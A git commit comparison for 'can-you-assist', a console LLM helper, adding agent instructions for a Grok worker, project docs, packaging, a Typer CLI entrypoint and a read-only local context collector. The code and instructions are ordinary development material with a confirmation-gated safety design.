generated from coulomb/repo-seed
Compare commits
6 Commits
7b40a1ecab
...
3cca37623f
| Author | SHA1 | Date | |
|---|---|---|---|
| 3cca37623f | |||
| 1835fe6e1d | |||
| 637919dd8c | |||
| da6c7acfc9 | |||
| cbf66cf967 | |||
| 1bdd8e03d8 |
230
AGENTS.md
Normal file
230
AGENTS.md
Normal file
@@ -0,0 +1,230 @@
|
||||
# can-you-assist - Agent Instructions
|
||||
|
||||
## Worker Role
|
||||
|
||||
Primary worker agent: Grok Build / Grok Code.
|
||||
|
||||
Run from the repository root. When available, start with `grok inspect` to
|
||||
confirm Grok has discovered this `AGENTS.md`, the repo files, and any local
|
||||
`.grok/` configuration. The xAI Build docs say Grok reads the `AGENTS.md`
|
||||
instruction-file family and can inspect discovered instructions, skills,
|
||||
plugins, hooks, and MCPs:
|
||||
|
||||
- https://docs.x.ai/build/overview
|
||||
- https://docs.x.ai/build/features/skills-plugins-marketplaces
|
||||
|
||||
This file is the canonical worker guide for this repo. Do not assume a Claude
|
||||
Code MCP server is available; use the State Hub HTTP API unless the operator
|
||||
explicitly provides another integration.
|
||||
|
||||
## Repo Identity
|
||||
|
||||
**Purpose:** Console-native, backend-agnostic LLM assistant for practical local
|
||||
work from the shell, using user-controlled context, memory, and provider
|
||||
configuration.
|
||||
|
||||
**Domain:** capabilities
|
||||
**Repo slug:** can-you-assist
|
||||
**Topic ID:** `64418556-3206-457a-ba29-6884b5b12cf3`
|
||||
**Workplan prefix:** `CYA-WP-`
|
||||
**Command name:** `cya`
|
||||
|
||||
## Product Direction
|
||||
|
||||
`cya` should help users express intent in natural language from a terminal and
|
||||
receive useful, explainable help for command-line tasks. It should be good at
|
||||
repository inspection, file and note workflows, command suggestion, command
|
||||
explanation, and local context summarization.
|
||||
|
||||
Keep these boundaries crisp:
|
||||
|
||||
- `can-you-assist` owns the CLI assistant experience, local context gathering,
|
||||
safety prompts, command explanations, and orchestration of assistance.
|
||||
- `llm-connect` owns provider/backend access. Do not hard-code one LLM vendor
|
||||
as the conceptual foundation.
|
||||
- `phase-memory` owns user-controlled memory, preferences, history, and
|
||||
adaptation. Do not hide memory in opaque hosted state.
|
||||
- State Hub tracks work, coordination, progress, and cross-repo handoffs. It
|
||||
should not become a runtime dependency of the `cya` CLI.
|
||||
|
||||
## State Hub Integration
|
||||
|
||||
The Custodian State Hub tracks work across all domains. Interact via HTTP REST.
|
||||
|
||||
| Context | URL |
|
||||
|---------|-----|
|
||||
| Local workstation | `http://127.0.0.1:8000` |
|
||||
| Remote via tunnel | `http://127.0.0.1:18000` |
|
||||
|
||||
### Orient At Session Start
|
||||
|
||||
```bash
|
||||
# Offline brief - generated by State Hub consistency tooling when available
|
||||
cat .custodian-brief.md
|
||||
|
||||
# Active workstreams for this domain/topic
|
||||
curl -s "http://127.0.0.1:8000/workstreams/?topic_id=64418556-3206-457a-ba29-6884b5b12cf3&status=active" \
|
||||
| python3 -m json.tool
|
||||
|
||||
# Inbox for this repo worker
|
||||
curl -s "http://127.0.0.1:8000/messages/?to_agent=can-you-assist&unread_only=true" \
|
||||
| python3 -m json.tool
|
||||
```
|
||||
|
||||
Mark a message read:
|
||||
|
||||
```bash
|
||||
curl -s -X PATCH "http://127.0.0.1:8000/messages/<id>/read" \
|
||||
-H "Content-Type: application/json" -d '{}'
|
||||
```
|
||||
|
||||
### Update Task Status
|
||||
|
||||
```bash
|
||||
curl -s -X PATCH "http://127.0.0.1:8000/tasks/<task_id>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"status": "in_progress"}'
|
||||
```
|
||||
|
||||
Allowed task statuses: `todo`, `in_progress`, `done`, `blocked`.
|
||||
|
||||
### Log Progress
|
||||
|
||||
Log progress at session close and after meaningful milestones:
|
||||
|
||||
```bash
|
||||
curl -s -X POST http://127.0.0.1:8000/progress/ \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"summary": "what changed",
|
||||
"event_type": "note",
|
||||
"author": "grok",
|
||||
"workstream_id": "<uuid>",
|
||||
"task_id": "<uuid>"
|
||||
}'
|
||||
```
|
||||
|
||||
Omit `workstream_id` and `task_id` only when there is no applicable item.
|
||||
|
||||
## Session Protocol
|
||||
|
||||
Start:
|
||||
|
||||
1. Run `git status --short`.
|
||||
2. Read `.custodian-brief.md` if present; if absent, use the State Hub API
|
||||
queries above.
|
||||
3. Check the `can-you-assist` inbox and mark read only after acting on a
|
||||
message or carrying it forward in a workplan.
|
||||
4. Scan `workplans/` if it exists. If it does not exist yet, the onboarding
|
||||
workstream should create it.
|
||||
5. Pick the highest-priority active task that is unblocked and update task
|
||||
status before substantial work.
|
||||
|
||||
During work:
|
||||
|
||||
- Keep changes small and inspectable.
|
||||
- Treat command execution safety as product behavior: explain destructive or
|
||||
broad filesystem commands and require explicit confirmation before suggesting
|
||||
execution.
|
||||
- Do not commit secrets, API keys, local transcripts, private notes, or hidden
|
||||
memory contents.
|
||||
- Preserve user-controlled memory as a design principle. Prefer explicit,
|
||||
inspectable local files over hidden state.
|
||||
- Record significant design decisions with `POST /decisions/`.
|
||||
|
||||
Close:
|
||||
|
||||
1. Update workplan task statuses to match reality.
|
||||
2. Log a progress event in State Hub.
|
||||
3. Ask the custodian operator to run:
|
||||
|
||||
```bash
|
||||
cd ~/state-hub && make fix-consistency REPO=can-you-assist
|
||||
```
|
||||
|
||||
That syncs repo workplan files into the State Hub DB and regenerates
|
||||
`.custodian-brief.md`.
|
||||
|
||||
## Current Grok Handoff
|
||||
|
||||
State Hub registration has been created for `can-you-assist` under the
|
||||
`capabilities` domain. Look for active workstream
|
||||
`repo-integration-can-you-assist`.
|
||||
|
||||
First useful worker moves:
|
||||
|
||||
1. Read `INTENT.md`, `README.md`, this `AGENTS.md`, and `SCOPE.md`.
|
||||
2. Create `workplans/CYA-WP-0001-console-native-mvp.md` with a focused first
|
||||
implementation slice: CLI skeleton, safe command-assistance flow,
|
||||
llm-connect adapter boundary, phase-memory boundary, and test strategy.
|
||||
3. Keep the first workplan `ready` until the repo state and stack choice are
|
||||
reviewed. Move it to `active` when implementation begins.
|
||||
4. Run or request SBOM ingest from State Hub after the first dependency files
|
||||
exist.
|
||||
5. Register obvious extension points and technical debt once there is code to
|
||||
anchor them.
|
||||
|
||||
## Commands
|
||||
|
||||
The repo is currently an intent/document seed. There is no build or test
|
||||
system yet.
|
||||
|
||||
Useful inspection commands:
|
||||
|
||||
```bash
|
||||
rg --files
|
||||
sed -n '1,240p' INTENT.md
|
||||
git status --short
|
||||
git log --oneline -5
|
||||
```
|
||||
|
||||
When implementation starts, update this section with the package manager,
|
||||
build, test, lint, and local run commands.
|
||||
|
||||
## Workplan Convention
|
||||
|
||||
Work items originate as files in this repo. The hub is a read/cache/index
|
||||
layer that rebuilds from files.
|
||||
|
||||
**File location:** `workplans/CYA-WP-NNNN-<slug>.md`
|
||||
|
||||
**Archived location:** `workplans/archived/YYMMDD-CYA-WP-NNNN-<slug>.md`
|
||||
|
||||
**Ad hoc tasks:** small opportunistic fixes may use
|
||||
`workplans/ADHOC-YYYY-MM-DD.md` with task ids like
|
||||
`ADHOC-YYYY-MM-DD-T01`. Use this only for low-risk work completed directly.
|
||||
|
||||
Frontmatter:
|
||||
|
||||
```yaml
|
||||
---
|
||||
id: CYA-WP-NNNN
|
||||
type: workplan
|
||||
title: "..."
|
||||
domain: capabilities
|
||||
repo: can-you-assist
|
||||
status: proposed | ready | active | blocked | backlog | finished | archived
|
||||
owner: grok
|
||||
topic_slug: foerster-capabilities
|
||||
created: "YYYY-MM-DD"
|
||||
updated: "YYYY-MM-DD"
|
||||
state_hub_workstream_id: "<uuid>" # written by fix-consistency - do not edit
|
||||
---
|
||||
```
|
||||
|
||||
Task block format:
|
||||
|
||||
````
|
||||
## Task Title
|
||||
|
||||
```task
|
||||
id: CYA-WP-NNNN-T01
|
||||
status: todo | in_progress | done | blocked
|
||||
priority: high | medium | low
|
||||
state_hub_task_id: "<uuid>" # written by fix-consistency - do not edit
|
||||
```
|
||||
|
||||
Task description text.
|
||||
````
|
||||
|
||||
Status progression: `todo` -> `in_progress` -> `done` or `blocked`.
|
||||
87
README.md
87
README.md
@@ -1,3 +1,84 @@
|
||||
Cya provides a console-native, backend-agnostic LLM helper that understands local work,
|
||||
remembers, is under user control, and helps get things done without requiring command-line
|
||||
trivia to be kept in human memory.
|
||||
# cya — console-native assistant for local work
|
||||
|
||||
`cya` lets you express intent in natural language from your terminal and receive
|
||||
safe, explainable, context-aware help.
|
||||
|
||||
It is the CLI surface for the capabilities domain. It owns orchestration,
|
||||
the user experience, and the safety layer. It talks to `llm-connect` only
|
||||
through a stable adapter boundary and keeps all memory under explicit
|
||||
user-controlled ports (implemented by `phase-memory`).
|
||||
|
||||
## Status
|
||||
|
||||
This is the first narrow MVP slice (CYA-WP-0001). The tool is already
|
||||
usable after `pip install -e .`:
|
||||
|
||||
- `cya "your request in plain English"`
|
||||
- `cya --explain-context "..."` — shows exactly what local context would be sent
|
||||
- Automatic rule-based risk classification with mandatory confirmation for anything destructive, privileged, mass-edit, or network-affecting
|
||||
- All LLM interaction flows through a documented `LLMAdapter` seam (currently a deterministic fake; ready for real `llm-connect`)
|
||||
|
||||
## Installation (development)
|
||||
|
||||
```bash
|
||||
git clone <this-repo>
|
||||
cd can-you-assist
|
||||
pip install -e .
|
||||
cya --help
|
||||
```
|
||||
|
||||
## Usage examples
|
||||
|
||||
```bash
|
||||
# Normal request (safe path)
|
||||
cya "show me the recent git history for this repo"
|
||||
|
||||
# Risky request — will show classification + require explicit confirmation
|
||||
cya "delete every log file older than 30 days in this tree"
|
||||
|
||||
# See exactly what context would be collected and sent
|
||||
cya --explain-context "explain the changes in the last commit"
|
||||
```
|
||||
|
||||
The output includes a structured suggestion, rationale, and (when relevant) a
|
||||
clear preview + confirmation prompt. Nothing executes without your explicit yes.
|
||||
|
||||
## Safety (core product behavior)
|
||||
|
||||
- Genuine rule-based assessment is the primary mechanism.
|
||||
- Results are available to the model.
|
||||
- Anything above "safe" produces a preview and blocks until you confirm in the
|
||||
launching terminal.
|
||||
- No autonomous execution in this slice.
|
||||
|
||||
See the risk classifier tests and workplan T03 for the exact rules and invariants.
|
||||
|
||||
## Architecture & boundaries (important)
|
||||
|
||||
- `can-you-assist` (this repo): CLI, context collection, safety, orchestration.
|
||||
- `llm-connect`: Provider access, config, token counting, structured responses.
|
||||
All interaction goes through `cya/llm/adapter.py` (`LLMAdapter` Protocol).
|
||||
- `phase-memory`: Durable, user-controlled memory. This slice has only
|
||||
strictly minimal explicit no-op ports (see `cya/memory/__init__.py`).
|
||||
|
||||
See `workplans/CYA-WP-0001-console-native-mvp.md` for the full task breakdown,
|
||||
decisions, and integration guide.
|
||||
|
||||
## Development
|
||||
|
||||
```bash
|
||||
pip install -e .
|
||||
pytest tests/ -q
|
||||
cya "..." # manual verification
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
MIT (see LICENSE).
|
||||
|
||||
## Workplan & coordination
|
||||
|
||||
- Workplan: `workplans/CYA-WP-0001-console-native-mvp.md`
|
||||
- State Hub workstream: `repo-integration-can-you-assist`
|
||||
- Operator reminder after changes: `cd ~/state-hub && make fix-consistency REPO=can-you-assist`
|
||||
|
||||
|
||||
46
SCOPE.md
Normal file
46
SCOPE.md
Normal file
@@ -0,0 +1,46 @@
|
||||
# Scope: can-you-assist
|
||||
|
||||
## Purpose
|
||||
|
||||
`can-you-assist` provides `cya`, a console-native LLM helper for practical
|
||||
local work. It lets a terminal user ask for help in natural language, gather
|
||||
relevant local context intentionally, and receive safe, explainable assistance
|
||||
for command-line, repository, filesystem, note, and text workflows.
|
||||
|
||||
## Owns
|
||||
|
||||
- The `cya` command-line user experience.
|
||||
- Intent parsing and task framing for local shell work.
|
||||
- Local context collection from the current directory, selected files, stdin,
|
||||
git state, logs, notes, and user-provided paths.
|
||||
- Safe command suggestion and explanation workflows.
|
||||
- Prompt/request orchestration against `llm-connect`.
|
||||
- Local preference and memory usage through `phase-memory`.
|
||||
- Transparent configuration and inspectable local state for this assistant.
|
||||
|
||||
## Does Not Own
|
||||
|
||||
- Provider-specific LLM clients or vendor credentials; that belongs in
|
||||
`llm-connect`.
|
||||
- Long-term memory storage semantics; that belongs in `phase-memory`.
|
||||
- Global State Hub implementation or workstream indexing.
|
||||
- Autonomous shell execution without clear user confirmation.
|
||||
- Hidden, vendor-owned personalization or opaque memory.
|
||||
|
||||
## Integrates With
|
||||
|
||||
- `llm-connect` for backend-agnostic model access.
|
||||
- `phase-memory` for user-controlled history, preferences, and adaptation.
|
||||
- State Hub for work tracking, repo coordination, progress, and decisions.
|
||||
|
||||
## Initial Direction
|
||||
|
||||
The first implementation slice should establish a minimal but real CLI:
|
||||
|
||||
- parse a natural-language request;
|
||||
- inspect current working-directory context safely;
|
||||
- produce an explainable command or answer;
|
||||
- route LLM calls through an adapter boundary shaped for `llm-connect`;
|
||||
- leave memory hooks explicit but thin until `phase-memory` integration is
|
||||
ready;
|
||||
- include tests around command-suggestion safety and context selection.
|
||||
46
pyproject.toml
Normal file
46
pyproject.toml
Normal file
@@ -0,0 +1,46 @@
|
||||
[build-system]
|
||||
requires = ["setuptools>=64", "wheel"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
name = "can-you-assist"
|
||||
version = "0.1.0"
|
||||
description = "Console-native, backend-agnostic LLM assistant for practical local work from the shell. MVP slice."
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.10"
|
||||
license = { text = "MIT" }
|
||||
authors = [
|
||||
{ name = "Bernd Worsch (custodian) + Grok (initial scaffolding)" }
|
||||
]
|
||||
dependencies = [
|
||||
"typer[standard]>=0.12.0",
|
||||
"rich>=13.0.0",
|
||||
]
|
||||
|
||||
[project.scripts]
|
||||
cya = "cya.cli.main:run"
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
where = ["src"]
|
||||
|
||||
[tool.setuptools]
|
||||
zip-safe = false
|
||||
|
||||
[project.urls]
|
||||
Homepage = "https://github.com/worsch/can-you-assist"
|
||||
Repository = "https://github.com/worsch/can-you-assist"
|
||||
|
||||
[tool.ruff]
|
||||
line-length = 100
|
||||
target-version = "py310"
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
testpaths = ["tests"]
|
||||
python_files = ["test_*.py"]
|
||||
python_classes = ["Test*"]
|
||||
python_functions = ["test_*"]
|
||||
addopts = "-q --tb=short"
|
||||
markers = [
|
||||
"safety: core safety and risk classifier invariants (always run)",
|
||||
]
|
||||
|
||||
8
src/cya/__init__.py
Normal file
8
src/cya/__init__.py
Normal file
@@ -0,0 +1,8 @@
|
||||
"""can-you-assist (cya)
|
||||
|
||||
Console-native LLM assistant for practical local work (MVP scaffolding).
|
||||
|
||||
See workplans/CYA-WP-0001 for the full task breakdown and integration boundaries.
|
||||
"""
|
||||
|
||||
__version__ = "0.1.0"
|
||||
5
src/cya/cli/__init__.py
Normal file
5
src/cya/cli/__init__.py
Normal file
@@ -0,0 +1,5 @@
|
||||
"""CLI surface and entrypoint (T01).
|
||||
|
||||
The primary user-facing commands live here. Later tasks will extend with
|
||||
context-aware behavior while keeping this the stable surface.
|
||||
"""
|
||||
122
src/cya/cli/main.py
Normal file
122
src/cya/cli/main.py
Normal file
@@ -0,0 +1,122 @@
|
||||
"""T01 — Project scaffolding and Typer CLI entrypoint.
|
||||
|
||||
Implements the minimal runnable package per CYA-WP-0001-T01 acceptance criteria:
|
||||
- pyproject.toml + src/ layout with clean separation (cli, context, safety, llm, memory)
|
||||
- `cya --help`, `cya --version`, `cya "<natural language request>"` all work after `pip install -e .`
|
||||
- Rich, structured, human-readable output even before LLM / collector wiring.
|
||||
- Graceful fallback message pointing to the remaining workplan tasks.
|
||||
|
||||
This module will evolve in T06 (orchestrator) but the surface contract stays stable.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import sys
|
||||
|
||||
import typer
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from cya import __version__
|
||||
from cya.context.collector import collect, render_explanation
|
||||
|
||||
app = typer.Typer(
|
||||
name="cya",
|
||||
help=(
|
||||
"[bold cyan]cya[/bold cyan] — console-native assistant for local work.\n\n"
|
||||
"Express intent in natural language from your terminal.\n"
|
||||
"MVP T01 (scaffolding): this is the skeleton only. "
|
||||
"Real context collection (T02), rule-based safety (T03), llm-connect boundary (T04), "
|
||||
"and orchestration (T06) are added in subsequent tasks.\n\n"
|
||||
"Usage: [bold]cya \"your request in plain English\"[/bold]"
|
||||
),
|
||||
rich_markup_mode="rich",
|
||||
add_completion=False,
|
||||
invoke_without_command=True,
|
||||
)
|
||||
|
||||
console = Console()
|
||||
|
||||
|
||||
def version_callback(value: bool) -> None:
|
||||
"""Print version and exit (eager)."""
|
||||
if value:
|
||||
console.print(f"[bold]cya[/bold] version [green]{__version__}[/green] (MVP T01 scaffolding)")
|
||||
raise typer.Exit()
|
||||
|
||||
|
||||
@app.callback()
|
||||
def main(
|
||||
ctx: typer.Context,
|
||||
request: str | None = typer.Argument(
|
||||
None,
|
||||
help="Your natural-language request or intent (e.g. 'explain the recent git log for this repo').",
|
||||
),
|
||||
explain_context: bool = typer.Option(
|
||||
False,
|
||||
"--explain-context",
|
||||
"-C",
|
||||
help="Show exactly what local context would be collected (real implementation in T02).",
|
||||
),
|
||||
dry_run: bool = typer.Option(
|
||||
False,
|
||||
"--dry-run",
|
||||
"-n",
|
||||
help="Preview mode — do not perform any actions (stub in T01).",
|
||||
),
|
||||
version: bool = typer.Option(
|
||||
None,
|
||||
"--version",
|
||||
"-V",
|
||||
callback=version_callback,
|
||||
is_eager=True,
|
||||
help="Show cya version and exit.",
|
||||
),
|
||||
) -> None:
|
||||
"""Root entry: supports bare `cya "request"` as the primary one-shot UX."""
|
||||
if ctx.invoked_subcommand is not None:
|
||||
# A real subcommand was given; let Typer handle it.
|
||||
return
|
||||
|
||||
if request is None:
|
||||
# No request and no subcommand — show friendly guidance instead of raw error.
|
||||
console.print(
|
||||
Panel(
|
||||
Text.from_markup(
|
||||
"No request provided.\n\n"
|
||||
"Try:\n"
|
||||
" [bold]cya \"what changed since the last commit?\"[/bold]\n"
|
||||
" [bold]cya --help[/bold] for all options and examples\n\n"
|
||||
"[dim]This is T01 scaffolding. Full behavior arrives after T02–T06.[/dim]"
|
||||
),
|
||||
title="cya (MVP)",
|
||||
border_style="yellow",
|
||||
padding=(1, 2),
|
||||
)
|
||||
)
|
||||
raise typer.Exit(0)
|
||||
|
||||
# Delegate the entire coordinated flow (T02–T04) to the orchestrator (T06).
|
||||
# This keeps the Typer surface thin and makes the core logic testable.
|
||||
from cya.orchestrator import handle_request
|
||||
|
||||
handle_request(
|
||||
request,
|
||||
explain_context=explain_context,
|
||||
dry_run=dry_run,
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
app()
|
||||
|
||||
|
||||
def run() -> None:
|
||||
"""Primary console-script entry point (no-arg callable expected by setuptools/pip).
|
||||
|
||||
The generated `cya` wrapper in bin/ does `sys.exit(run())`.
|
||||
Using a thin wrapper around app() lets us keep the full-featured
|
||||
@app.callback(invoke_without_command=True) + ctx signature for Typer/Click.
|
||||
"""
|
||||
app()
|
||||
9
src/cya/context/__init__.py
Normal file
9
src/cya/context/__init__.py
Normal file
@@ -0,0 +1,9 @@
|
||||
"""Local context collector (T02).
|
||||
|
||||
Implements the safe, transparent, intentionally bounded collector described in
|
||||
INTENT.md, SCOPE.md, and workplan CYA-WP-0001-T02.
|
||||
|
||||
All collection is read-only, user-inspectable via --explain-context, and
|
||||
never traverses dangerous locations or hidden user data without explicit
|
||||
future opt-in.
|
||||
"""
|
||||
309
src/cya/context/collector.py
Normal file
309
src/cya/context/collector.py
Normal file
@@ -0,0 +1,309 @@
|
||||
"""Bounded, transparent, pure local context collector (T02).
|
||||
|
||||
Implements the collector contract from CYA-WP-0001-T02, INTENT.md, and SCOPE.md.
|
||||
|
||||
Design principles (strict for this slice):
|
||||
- Top-level directory entries only (never recursive).
|
||||
- Hard-coded, conservative ignore list for build artifacts, vcs, venvs, caches.
|
||||
- Git state gathered exclusively via short, read-only, timeout-bounded subprocess calls.
|
||||
- Never touches shell history, ~/.config, credentials, or any hidden user data.
|
||||
- Produces a stable, JSON-serializable ContextEnvelope with clear provenance on every item.
|
||||
- The module itself is side-effect free except for the explicit read-only inspections.
|
||||
|
||||
The --explain-context / --show-context flag (wired in cli) is the user-visible
|
||||
contract: it must print *exactly* the data that would be sent onward, with
|
||||
provenance for each piece.
|
||||
|
||||
Later tasks (T06 orchestrator, T04 boundary) will consume the same envelope.
|
||||
Real per-request file globs and stdin handling will be added as thin extensions
|
||||
without changing the core collector shape.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
from dataclasses import asdict, dataclass, field
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Envelope (stable, serializable, provenance-carrying)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@dataclass
|
||||
class ContextEnvelope:
|
||||
"""The single data structure that travels to the LLM adapter and to the
|
||||
user via --explain-context.
|
||||
|
||||
All fields carry explicit "provenance" markers so the model (and the user)
|
||||
can see exactly where each fact came from.
|
||||
"""
|
||||
|
||||
cwd: str
|
||||
top_level: list[dict[str, Any]] = field(default_factory=list)
|
||||
git: dict[str, Any] | None = None
|
||||
env: dict[str, str] = field(default_factory=dict)
|
||||
collected_at: str = ""
|
||||
notes: list[str] = field(default_factory=list)
|
||||
|
||||
def to_dict(self) -> dict[str, Any]:
|
||||
"""JSON-safe representation for the model and for tests."""
|
||||
return asdict(self)
|
||||
|
||||
def to_json(self, indent: int = 2) -> str:
|
||||
return json.dumps(self.to_dict(), indent=indent, default=str)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Ignore policy (name-based, conservative, no .gitignore parsing in T02)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _default_ignore_patterns() -> set[str]:
|
||||
"""Names we never surface at the top level (MVP policy).
|
||||
|
||||
This is intentionally simple and name-based. No pathspec, no gitignore
|
||||
parsing, no content scanning. A later memory layer can offer richer
|
||||
user-controlled filters.
|
||||
"""
|
||||
return {
|
||||
".git",
|
||||
".hg",
|
||||
".svn",
|
||||
".venv",
|
||||
"venv",
|
||||
".env",
|
||||
"env",
|
||||
"node_modules",
|
||||
"__pycache__",
|
||||
".pytest_cache",
|
||||
".mypy_cache",
|
||||
".ruff_cache",
|
||||
".cache",
|
||||
".tox",
|
||||
".nox",
|
||||
"dist",
|
||||
"build",
|
||||
"htmlcov",
|
||||
".eggs",
|
||||
".egg-info",
|
||||
".hypothesis",
|
||||
".coverage",
|
||||
".pytype",
|
||||
".pyre",
|
||||
"target", # rust / java etc.
|
||||
}
|
||||
|
||||
|
||||
def _is_likely_ignored(name: str, patterns: set[str]) -> bool:
|
||||
"""Return True if this top-level name should be suppressed from the envelope."""
|
||||
if not name:
|
||||
return True
|
||||
if name in patterns:
|
||||
return True
|
||||
# Conservative hidden-file rule (except a tiny allow-list for common signal).
|
||||
if name.startswith(".") and name not in {".gitignore", ".env.example", ".cya"}:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Collectors (each is a pure, read-only, best-effort function)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def collect_top_level(top: Path | str = ".") -> list[dict[str, Any]]:
|
||||
"""Return a bounded list of top-level entries with provenance.
|
||||
|
||||
Never descends into subdirectories. Never follows symlinks for traversal.
|
||||
"""
|
||||
root = Path(top).resolve()
|
||||
patterns = _default_ignore_patterns()
|
||||
entries: list[dict[str, Any]] = []
|
||||
|
||||
try:
|
||||
it = root.iterdir()
|
||||
except (PermissionError, OSError) as e:
|
||||
return [{"error": "cannot_list", "reason": str(e), "provenance": "cwd.top_level"}]
|
||||
|
||||
for p in it:
|
||||
name = p.name
|
||||
ignored = _is_likely_ignored(name, patterns)
|
||||
kind = "dir" if p.is_dir() else "file"
|
||||
size: int | None = None
|
||||
if not ignored and p.is_file():
|
||||
try:
|
||||
size = p.stat().st_size
|
||||
except OSError:
|
||||
size = None
|
||||
|
||||
entry = {
|
||||
"name": name,
|
||||
"kind": kind,
|
||||
"ignored": ignored,
|
||||
"size": size,
|
||||
"provenance": "cwd.top_level",
|
||||
}
|
||||
entries.append(entry)
|
||||
|
||||
# Sort for stable output (dirs first, then alpha).
|
||||
entries.sort(key=lambda e: (0 if e["kind"] == "dir" else 1, e["name"].lower()))
|
||||
return entries
|
||||
|
||||
|
||||
def collect_git(top: Path | str = ".") -> dict[str, Any] | None:
|
||||
"""Best-effort, strictly read-only git summary.
|
||||
|
||||
Uses short, timeout-protected subprocess calls. Returns None (not an
|
||||
exception) when not a git tree or when git is unavailable. This keeps
|
||||
the collector usable everywhere.
|
||||
"""
|
||||
root = Path(top).resolve()
|
||||
info: dict[str, Any] = {"provenance": "git.subprocess.readonly"}
|
||||
|
||||
try:
|
||||
# Current branch (or detached)
|
||||
r = subprocess.run(
|
||||
["git", "branch", "--show-current"],
|
||||
cwd=root,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=1.5,
|
||||
check=False,
|
||||
)
|
||||
branch = r.stdout.strip() or None
|
||||
if branch:
|
||||
info["branch"] = branch
|
||||
|
||||
# Porcelain status (very compact)
|
||||
r = subprocess.run(
|
||||
["git", "status", "--short", "--branch"],
|
||||
cwd=root,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=2.0,
|
||||
check=False,
|
||||
)
|
||||
status = r.stdout.strip()
|
||||
if status:
|
||||
info["status"] = status.splitlines()[:20] # bound the output
|
||||
|
||||
# Last commit (subject only)
|
||||
r = subprocess.run(
|
||||
["git", "log", "-1", "--pretty=format:%h %s"],
|
||||
cwd=root,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=1.5,
|
||||
check=False,
|
||||
)
|
||||
last = r.stdout.strip()
|
||||
if last:
|
||||
info["last_commit"] = last
|
||||
|
||||
if len(info) == 1: # only provenance
|
||||
return None
|
||||
return info
|
||||
|
||||
except (FileNotFoundError, PermissionError, subprocess.TimeoutExpired, OSError):
|
||||
return None
|
||||
|
||||
|
||||
def collect_env() -> dict[str, str]:
|
||||
"""Tiny, high-signal environment facts only.
|
||||
|
||||
We deliberately do *not* dump the whole os.environ.
|
||||
"""
|
||||
wanted = ("SHELL", "EDITOR", "VISUAL", "LANG", "PWD")
|
||||
return {k: os.environ.get(k, "") for k in wanted if k in os.environ}
|
||||
|
||||
|
||||
def collect(top: Path | str = ".") -> ContextEnvelope:
|
||||
"""Primary entry point. Returns a fully populated, serializable envelope."""
|
||||
root = Path(top).resolve()
|
||||
now = datetime.now(timezone.utc).isoformat()
|
||||
|
||||
envelope = ContextEnvelope(
|
||||
cwd=str(root),
|
||||
top_level=collect_top_level(root),
|
||||
git=collect_git(root),
|
||||
env=collect_env(),
|
||||
collected_at=now,
|
||||
notes=[
|
||||
"Top-level entries only (no recursion by design).",
|
||||
"Name-based ignore list for build, cache, and VCS directories.",
|
||||
"Git data obtained via short read-only subprocess calls (best effort).",
|
||||
"No user history, no dotfile scraping, no credential scanning.",
|
||||
],
|
||||
)
|
||||
return envelope
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Human / model explanation rendering (rich-aware, optional)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def render_explanation(envelope: ContextEnvelope, *, rich: bool = True) -> str:
|
||||
"""Return a compact, provenance-aware textual explanation.
|
||||
|
||||
When rich=True and the rich library is importable, the caller can further
|
||||
enhance with Panels/Trees. For the collector itself we stay with plain
|
||||
text so the module remains usable in minimal environments.
|
||||
"""
|
||||
lines: list[str] = []
|
||||
lines.append(f"Context collected {envelope.collected_at}")
|
||||
lines.append(f"Root: {envelope.cwd}")
|
||||
lines.append("")
|
||||
|
||||
# Top level (only the non-ignored ones for the primary view)
|
||||
shown = [e for e in envelope.top_level if not e.get("ignored")]
|
||||
if shown:
|
||||
lines.append("Top-level entries (filtered, non-recursive):")
|
||||
for e in shown:
|
||||
size = f" ({e['size']} B)" if e.get("size") is not None else ""
|
||||
lines.append(f" • {e['name']} [{e['kind']}{size}] — {e['provenance']}")
|
||||
else:
|
||||
lines.append("Top-level entries: (none or all ignored)")
|
||||
|
||||
if envelope.git:
|
||||
lines.append("")
|
||||
lines.append("Git:")
|
||||
g = envelope.git
|
||||
if g.get("branch"):
|
||||
lines.append(f" branch: {g['branch']}")
|
||||
if g.get("last_commit"):
|
||||
lines.append(f" last: {g['last_commit']}")
|
||||
if g.get("status"):
|
||||
st = g["status"]
|
||||
if isinstance(st, list):
|
||||
st = "; ".join(st)
|
||||
lines.append(f" status: {st[:180]}")
|
||||
|
||||
if envelope.env:
|
||||
lines.append("")
|
||||
lines.append("Environment hints:")
|
||||
for k, v in envelope.env.items():
|
||||
if v:
|
||||
lines.append(f" {k}={v}")
|
||||
|
||||
lines.append("")
|
||||
lines.append("Collection notes:")
|
||||
for n in envelope.notes:
|
||||
lines.append(f" - {n}")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ContextEnvelope",
|
||||
"collect",
|
||||
"collect_top_level",
|
||||
"collect_git",
|
||||
"collect_env",
|
||||
"render_explanation",
|
||||
]
|
||||
27
src/cya/llm/__init__.py
Normal file
27
src/cya/llm/__init__.py
Normal file
@@ -0,0 +1,27 @@
|
||||
